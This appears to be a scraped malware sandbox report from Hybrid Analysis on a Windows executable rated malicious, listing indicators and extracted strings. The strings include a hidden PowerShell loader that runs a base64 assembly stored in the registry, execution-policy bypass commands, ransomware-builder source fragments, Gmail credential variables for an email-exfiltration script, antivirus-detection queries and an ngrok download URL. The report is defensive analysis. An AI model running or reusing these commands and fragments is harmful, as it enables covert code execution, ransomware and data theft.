26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 64:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T42f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample d79a203caba1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d79a203caba1…. Threat score 100/100. 0/0 AV engines flagged this file. 5 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16"],"about":{"@type":"SoftwareApplication","name":"xlOcnre5N2Id.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":0},"behavioralIndicators":{"malicious":5,"suspicious":9},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4bd,Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")28:Tbb7,Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetDelegateForFunctionPointer" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "StructureToPtr" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "PtrToStructure" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetLastWin32Error" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeHGlobal" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocCoTaskMem" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeCoTaskMem" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "MoveNext" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetHRForException" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetTypeFromCLSID" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReleaseComObject" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ThrowExceptionForHR" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "Release" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin"29:Taa1,Observed string: "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin Observed string: "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\JavaSoft\\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 6000891-_~_ Observed string: "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\Ccleaner\\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 60009a7-_~_ Observed string: "hell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp Observed string: "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp Observed string: "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp Observed string: "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp2a:T87a,Found string "ExecutionPolicy Bypass -WindowStyle Hidden Set-ExecutionPolicy Unrestricted & exit" (Indicator: "Set-ExecutionPolicy"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Set-ExecutionPolicy unrestricted -Scope CurrentUser -ErrorAction SilentlyContinue -Confirm:$false & exit" (Indicator: "Set-ExecutionPolicy"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden Set-ExecutionPolicy Unrestricted & exit" (Indicator: "Set-ExecutionPolicy"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -ErrorAction SilentlyContinue -Confirm:$false & exit" (Indicator: "Set-ExecutionPolicy"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "-WindowStyle Hidden Set-ExecutionPolicy Unrestricted & exit" (Indicator: "Set-ExecutionPolicy"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "xecutionPolicy Bypass -WindowStyle Hidden Set-ExecutionPolicy Unrestricted & exit" (Indicator: "Set-ExecutionPolicy"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "k start /b powershell Set-ExecutionPolicy unrestricted -Scope CurrentUser -ErrorAction SilentlyContinue -Confirm:$false & exit" (Indicator: "Set-ExecutionPolicy"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "k start /b powershell Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -ErrorAction SilentlyContinue -Confirm:$false & exit" (Indicator: "Set-ExecutionPolicy"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")2b:T2151,Found reference to "RijndaelManaged" (Indicator: "Rijndael"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "CryptoStream" (Indicator: "CryptoStream"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "Rfc2898DeriveBytes" (Indicator: "DeriveBytes"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "Rfc2898DeriveBytes" (Indicator: "Rfc2898DeriveBytes"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "CryptoStream"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "DeriveBytes"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "Rfc2898DeriveBytes"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "Rijndael"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "HMACSHA256" (Indicator: "HMAC"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "HMACSHA256" (Indicator: "HMACSHA256"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "SHA256Managed" (Indicator: "SHA256Managed"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "CryptoStream"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") file/memory contains long string with (Indicator: "DeriveBytes"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") file/memory contains long string with (Indicator: "Rfc2898DeriveBytes"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") file/memory contains long string with (Indicator: "Rijndael"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "Rfc2898DeriveBytes" (Indicator: "DeriveBytes"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "Rfc2898DeriveBytes" (Indicator: "Rfc2898DeriveBytes"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "RijndaelManaged AES = new RijndaelManaged();" (Indicator: "Rijndael"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "RijndaelManaged AES = new RijndaelManaged();" (Indicator: "RijndaelManaged"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);" (Indicator: "DeriveBytes"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);" (Indicator: "Rfc2898DeriveBytes"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "CryptoStream cs = new CryptoStream(fsCrypt," (Indicator: "CryptoStream"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "CryptoStreamMode.Write);" (Indicator: "CryptoStream"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "HMACSHA256" (Indicator: "HMAC"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000000.71982.01C60000.00000004.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "HMACSHA256" (Indicator: "HMACSHA256"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000000.71982.01C60000.00000004.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "SHA256Managed" (Indicator: "SHA256Managed"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000000.71982.01C60000.00000004.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000000.71982.01C60000.00000004.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "HMAC" (Indicator: "HMAC"; Source: "00000000-00003440.00000000.71982.01C60000.00000004.mdmp")2c:Tc86,Found reference to API "FromBase64String" (Indicator: "FromBase64String"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\JavaSoft\\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\Ccleaner\\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "hell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")2d:T490,Observed string: "using System;using System.Collections.Generic;using System.Text;using System.Diagnostics;using System.Threading;using System.Globalization;using System.Net;using System.Security.Cryptography; using System.IO; namespace Crypt_it{ class Program { public static string imha = "DEGER"; static void Main(string[] args) { Crypt(new string[] {HANGIDIZINLER}, new string[] {@HANGIUZANTILER }, @"PASSWORD", @".UZANTICRYPT"); using (StreamWriter sw = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\NOTISMI.txt")) { sw.WriteLine(@"MESAJ"); } System.Diagnostics.Process.Start("notepad.exe",Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\NOTISMI.txt"); if(imha == "EVET") { imha_zamani(); } } public static void imha_zamani() {.AesCryptoServiceProvider.D:\Ransomware-Builder-v0.2d-master\Decryptor\Decryptor\obj\Debug\Decryptor.pdb" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin2e:T484,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to perform AES decryption (Dotnet String) Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Contains ability to perform symmetric crypto operations Matched sigs: Contains ability to perform crypto operations Matched sigs: Contains ability to perform symmetric encryption (Dotnet) Matched sigs: Dotnet file contains encryption/decryption functions Matched sigs: Contains ability to perform symmetric decryption (Dotnet) Matched sigs: Contains ability to perform CryptoStream operations (Dotnet) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains reference to cryptographic keys2f:T644,Found string "SELECT * FROM Win32_VideoController" (Indicator: "select * from "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "Select * From Win32_Process Where ParentProcessID=" (Indicator: "select * from "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_BIOS" (Indicator: "select * from "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_BaseBoard" (Indicator: "select * from "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_Processor" (Indicator: "select * from "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "Select * From Win32_ComputerSystem" (Indicator: "select * from "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_DisplayConfiguration" (Indicator: "select * from "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_OperatingSystem WHERE Primary='true'" (Indicator: "select * from "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM AntivirusProduct" (Indicator: "select * from "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM FirewallProduct" (Indicator: "select * from "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin")30:T109e,Found string "SET GmailAccount=" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SET GmailPassword=" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SET Attachment=" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string ""set f = filesys.GetFile("" (Indicator: ""set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set logFile=" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set exeFile=" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set directory=" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set directory1=" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set protoc=" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SET PowerShellDir=C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SET PSScript=%temp%\\~tmpSendeMail.ps1" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set logFile=%TEMP%\\proclog.txt" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set exeFile=%TEMP%\\Install.exe" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set downloadURL=http://91.134.207.16/update/ngrok.exe" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set exeFile=%TEMP%\\ngrok.exe" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set CDAudio door open" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set CDAudio door closed" (Indicator: "set "; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "set logFile=%TEMP%\proclog.txt" (Indicator: "set "; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "set wshShell = CreateObject( "WScript.Shell" )" (Indicator: "set "; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "set filesys = CreateObject("Scripting.FileSystemObject")" (Indicator: "set "; Source: 